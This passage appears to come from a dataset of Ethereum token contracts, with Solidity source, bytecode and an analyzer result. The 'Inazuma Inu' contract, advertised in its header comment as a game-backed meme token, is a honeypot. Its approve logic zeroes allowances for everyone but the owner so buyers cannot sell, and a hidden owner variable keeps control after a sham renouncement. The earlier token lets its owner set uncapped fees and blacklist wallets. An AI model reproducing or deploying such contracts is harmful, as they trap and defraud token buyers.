Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610519578063dd62ed3e1461052f578063ea1644d514610575578063f2fde38b1461059557600080fd5b8063a9059cbb14610494578063bfd79284146104b4578063c3c8cd80146104e4578063c492f046146104f957600080fd5b80638f9a55c0116100d15780638f9a55c01461043e57806395d89b41146101fe57806398a5c31514610454578063a2a957bb1461047457600080fd5b80637d1db4a5146103ea5780638da5cb5b146104005780638f70ccf71461041e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b58565b6105b5565b005b34801561020a57600080fd5b50604080518082018252600a8152690a6dcd2e0d2dcce8cdef60b31b602082015290516102379190611c82565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611aae565b610662565b6040519015158152602001610237565b34801561027c57600080fd5b50601554610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50683635c9adc5dea000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611a6e565b610679565b3480156102fa57600080fd5b506102c060195481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601654610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b3660046119fe565b6106e2565b34801561036c57600080fd5b506101fc61037b366004611c1f565b61072d565b34801561038c57600080fd5b506101fc610775565b3480156103a157600080fd5b506102c06103b03660046119fe565b6107c0565b3480156103c157600080fd5b506101fc6107e2565b3480156103d657600080fd5b506101fc6103e5366004611c39565b610856565b3480156103f657600080fd5b506102c060175481565b34801561040c57600080fd5b506000546001600160a01b0316610290565b34801561042a57600080fd5b506101fc610439366004611c1f565b610885565b34801561044a57600080fd5b506102c060185481565b34801561046057600080fd5b506101fc61046f366004611c39565b6108d1565b34801561048057600080fd5b506101fc61048f366004611c51565b610900565b3480156104a057600080fd5b506102606104af366004611aae565b61093e565b3480156104c057600080fd5b506102606104cf3660046119fe565b60116020526000908152604090205460ff1681565b3480156104f057600080fd5b506101fc61094b565b34801561050557600080fd5b506101fc610514366004611ad9565b61099f565b34801561052557600080fd5b506102c060085481565b34801561053b57600080fd5b506102c061054a366004611a36565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058157600080fd5b506101fc610590366004611c39565b610a4e565b3480156105a157600080fd5b506101fc6105b03660046119fe565b610a7d565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105df90611cd5565b60405180910390fd5b60005b815181101561065e5760016011600084848151811061061a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065681611de8565b9150506105eb565b5050565b600061066f338484610b67565b5060015b92915050565b6000610686848484610c8b565b6106d884336106d385604051806060016040528060288152602001611e45602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123e565b610b67565b5060019392505050565b6000546001600160a01b0316331461070c5760405162461bcd60e51b81526004016105df90611cd5565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107575760405162461bcd60e51b81526004016105df90611cd5565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107aa57506014546001600160a01b0316336001600160a01b0316145b6107b357600080fd5b476107bd81611278565b50565b6001600160a01b038116600090815260026020526040812054610673906112fd565b6000546001600160a01b0316331461080c5760405162461bcd60e51b81526004016105df90611cd5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108805760405162461bcd60e51b81526004016105df90611cd5565b601755565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105df90611cd5565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105df90611cd5565b601955565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105df90611cd5565b600993909355600b91909155600a55600c55565b600061066f338484610c8b565b6013546001600160a01b0316336001600160a01b0316148061098057506014546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c0565b90506107bd81611381565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105df90611cd5565b60005b82811015610a485781600560008686858181106109f957634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a0e91906119fe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4081611de8565b9150506109cc565b50505050565b6000546001600160a01b03163314610a785760405162461bcd60e51b81526004016105df90611cd5565b601855565b6000546001600160a01b03163314610aa75760405162461bcd60e51b81526004016105df90611cd5565b6001600160a01b038116610b0c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105df565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105df565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105df565b6001600160a01b038216610d515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105df565b60008111610db35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105df565b6000546001600160a01b03848116911614801590610ddf57506000546001600160a01b03838116911614155b1561113757601654600160a01b900460ff16610e78576000546001600160a01b03848116911614610e785760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105df565b601754811115610eca5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105df565b6001600160a01b03831660009081526011602052604090205460ff16158015610f0c57506001600160a01b03821660009081526011602052604090205460ff16155b610f645760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105df565b6008544311158015610f8357506016546001600160a01b038481169116145b8015610f9d57506015546001600160a01b03838116911614155b8015610fb257506001600160a01b0382163014155b15610fdb576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110605760185481610ffd846107c0565b6110079190611d7a565b106110605760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105df565b600061106b306107c0565b6019546017549192508210159082106110845760175491505b80801561109b5750601654600160a81b900460ff16155b80156110b557506016546001600160a01b03868116911614155b80156110ca5750601654600160b01b900460ff165b80156110ef57506001600160a01b03851660009081526005602052604090205460ff16155b801561111457506001600160a01b03841660009081526005602052604090205460ff16155b156111345761112282611381565b4780156111325761113247611278565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117957506001600160a01b03831660009081526005602052604090205460ff165b806111ab57506016546001600160a01b038581169116148015906111ab57506016546001600160a01b03848116911614155b156111b857506000611232565b6016546001600160a01b0385811691161480156111e357506015546001600160a01b03848116911614155b156111f557600954600d55600a54600e555b6016546001600160a01b03848116911614801561122057506015546001600160a01b03858116911614155b1561123257600b54600d55600c54600e555b610a4884848484611526565b600081848411156112625760405162461bcd60e51b81526004016105df9190611c82565b50600061126f8486611dd1565b95945050505050565b6013546001600160a01b03166108fc611292836002611554565b6040518115909202916000818181858888f193505050501580156112ba573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112d5836002611554565b6040518115909202916000818181858888f1935050505015801561065e573d6000803e3d6000fd5b60006006548211156113645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105df565b600061136e611596565b905061137a8382611554565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142b57600080fd5b505afa15801561143f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114639190611a1a565b8160018151811061148457634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114aa9130911684610b67565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e3908590600090869030904290600401611d0a565b600060405180830381600087803b1580156114fd57600080fd5b505af1158015611511573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611533576115336115b9565b61153e8484846115e7565b80610a4857610a48600f54600d55601054600e55565b600061137a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116de565b60008060006115a361170c565b90925090506115b28282611554565b9250505090565b600d541580156115c95750600e54155b156115d057565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f98761174e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162b90876117ab565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165a90866117ed565b6001600160a01b03891660009081526002602052604090205561167c8161184c565b6116868483611896565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116cb91815260200190565b60405180910390a3505050505050505050565b600081836116ff5760405162461bcd60e51b81526004016105df9190611c82565b50600061126f8486611d92565b6006546000908190683635c9adc5dea000006117288282611554565b82101561174557505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176b8a600d54600e546118ba565b925092509250600061177b611596565b9050600080600061178e8e87878761190f565b919e509c509a509598509396509194505050505091939550919395565b600061137a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123e565b6000806117fa8385611d7a565b90508381101561137a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105df565b6000611856611596565b90506000611864838361195f565b3060009081526002602052604090205490915061188190826117ed565b30600090815260026020526040902055505050565b6006546118a390836117ab565b6006556007546118b390826117ed565b6007555050565b60008080806118d460646118ce898961195f565b90611554565b905060006118e760646118ce8a8961195f565b905060006118ff826118f98b866117ab565b906117ab565b9992985090965090945050505050565b600080808061191e888661195f565b9050600061192c888761195f565b9050600061193a888861195f565b9050600061194c826118f986866117ab565b939b939a50919850919650505050505050565b60008261196e57506000610673565b600061197a8385611db2565b9050826119878583611d92565b1461137a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105df565b80356119e981611e2f565b919050565b803580151581146119e957600080fd5b600060208284031215611a0f578081fd5b813561137a81611e2f565b600060208284031215611a2b578081fd5b815161137a81611e2f565b60008060408385031215611a48578081fd5b8235611a5381611e2f565b91506020830135611a6381611e2f565b809150509250929050565b600080600060608486031215611a82578081fd5b8335611a8d81611e2f565b92506020840135611a9d81611e2f565b929592945050506040919091013590565b60008060408385031215611ac0578182fd5b8235611acb81611e2f565b946020939093013593505050565b600080600060408486031215611aed578283fd5b833567ffffffffffffffff80821115611b04578485fd5b818601915086601f830112611b17578485fd5b813581811115611b25578586fd5b8760208260051b8501011115611b39578586fd5b602092830195509350611b4f91860190506119ee565b90509250925092565b60006020808385031215611b6a578182fd5b823567ffffffffffffffff80821115611b81578384fd5b818501915085601f830112611b94578384fd5b813581811115611ba657611ba6611e19565b8060051b604051601f19603f83011681018181108582111715611bcb57611bcb611e19565b604052828152858101935084860182860187018a1015611be9578788fd5b8795505b83861015611c1257611bfe816119de565b855260019590950194938601938601611bed565b5098975050505050505050565b600060208284031215611c30578081fd5b61137a826119ee565b600060208284031215611c4a578081fd5b5035919050565b60008060008060808587031215611c66578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cae57858101830151858201604001528201611c92565b81811115611cbf5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d595784516001600160a01b031683529383019391830191600101611d34565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d8d57611d8d611e03565b500190565b600082611dad57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dcc57611dcc611e03565b500290565b600082821015611de357611de3611e03565b500390565b6000600019821415611dfc57611dfc611e03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209b44eb1b418904d11e52d59b07a3122587204e346e8b5f518c148e17710aeab664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,913
0xaf2f96d50ff3dda7944a6852daa0eecc028cfa29
/* Inazuma Inu is based on the popular anime and game Inazuma Eleven. We have a well thought out plan for the PvP game as well as a P2E game to earn more $INAINU tokens! ⚽️Inazuma is an ERC20 meme token with strong utility and a trusted development team with visions to build a meta verse game which we hope to eventually implement with Facebook/Meta's own metaverse! ⚽️Development plans/Structure 🏆Experienced game dev working on backend of project (Football NFT game). 🏆Teasers of the game development will be released periodically. ⚽️Top Tier Marketing/Networking Plans 🏆Hiring World-renowned marketing agency 🏆Plans to involve footballers in endorsements ⚽️ Tokenomics Ticker: $INAINU Max Supply: 1T 10% marketing tax on buys and sells 2% liquidity tax on buys and 4% liquidity tax on sells Max transaction amount : 0.5% Max wallet size : 2% ⚽️ Socials Website : https://inazumainu.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract InazumaInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Inazuma Inu ' ; string private _symbol = 'INAINU'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b600061050361